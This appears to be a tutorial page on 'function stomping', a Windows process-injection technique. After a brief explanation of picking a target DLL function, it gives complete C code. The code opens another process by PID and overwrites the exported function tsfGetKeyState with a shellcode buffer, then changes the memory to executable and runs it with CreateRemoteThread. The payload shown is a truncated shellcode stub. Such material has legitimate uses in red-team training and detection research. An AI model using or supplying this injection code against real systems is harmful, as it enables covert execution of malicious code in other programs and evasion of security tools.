Function Stomping
"Stomping" is when we overwrite or replace the memory of a data structure in a program with different data. Function stomping is a technique where we replace a functions logic with our own.
Choosing a Target Function
When choosing a target function & module it's best to avoid modules / functions that can be risky. For example: ntdll.dll
, kernel32.dll
, and kernelbase32.dll
are generally best to avoid, and should be used with caution.
IMPORTANT: In order for function stomping to be performed on remote processes, the DLL that exports the targeted function must be already loaded into the target process.
Note: For shared DLL's between processes, the functions within the DLL have the same address in each process. However, the address of the DLL itself will differ between processes due to the different virtual address spaces.
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
#define TARGET_MODULE L"TextInputFramework.dll"
#define TARGET_FUNCTION "tsfGetKeyState"
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51
};
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess, hThread = NULL;
HMODULE hModule = NULL;
LPVOID lpFuncAddress = NULL;
DWORD PID, dwOldPermissions, dwBytesWritten = 0;
if (argc < 2) {
wprintf(L"[!] Insufficient Arguments Passed to Main Function! \n");
return -1;
}
PID = _wtoi(argv[1]);
hModule = LoadLibraryW(TARGET_MODULE);
if (hModule == NULL) {
wprintf(L"[!] LoadLibrary Failed %d\n", GetLastError());
return -1;
}
lpFuncAddress = GetProcAddress(hModule, TARGET_FUNCTION);
if (lpFuncAddress == NULL) {
wprintf(L"[!] GetProcAddress Failed %d\n", GetLastError());
return -1;
}
printf("[+] %s address: %p", TARGET_FUNCTION, lpFuncAddress);
// Get Target Process Handle
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) {
wprintf(L"[!] OpenProcess Failed %d\n", GetLastError());
return -1;
}
// Change Stomp Function Memory Permissions to RW
if (!VirtualProtectEx(hProcess, lpFuncAddress, sizeof(Payload), PAGE_READWRITE, &dwOldPermissions)) {
wprintf(L"[!] VirtualProtect PAGE_READWRITE Failed %d\n", GetLastError());
return -1;
}
// Copy Memory
if (!WriteProcessMemory(hProcess, lpFuncAddress, Payload, sizeof(Payload), &dwBytesWritten)) {
wprintf(L"[!] WriteProcesMemory Failed %d\n", GetLastError());
return -1;
}
// Change Stomp Function Memory Permissions to RWX
if (!VirtualProtectEx(hProcess, lpFuncAddress, sizeof(Payload), PAGE_EXECUTE_READWRITE, &dwOldPermissions)) {
wprintf(L"[!] VirtualProtect PAGE_READWRITE Failed %d\n", GetLastError());
return -1;
}
// Create Thread
hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpFuncAddress, NULL, NULL, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
}
getchar();
return 0;
}

Last updated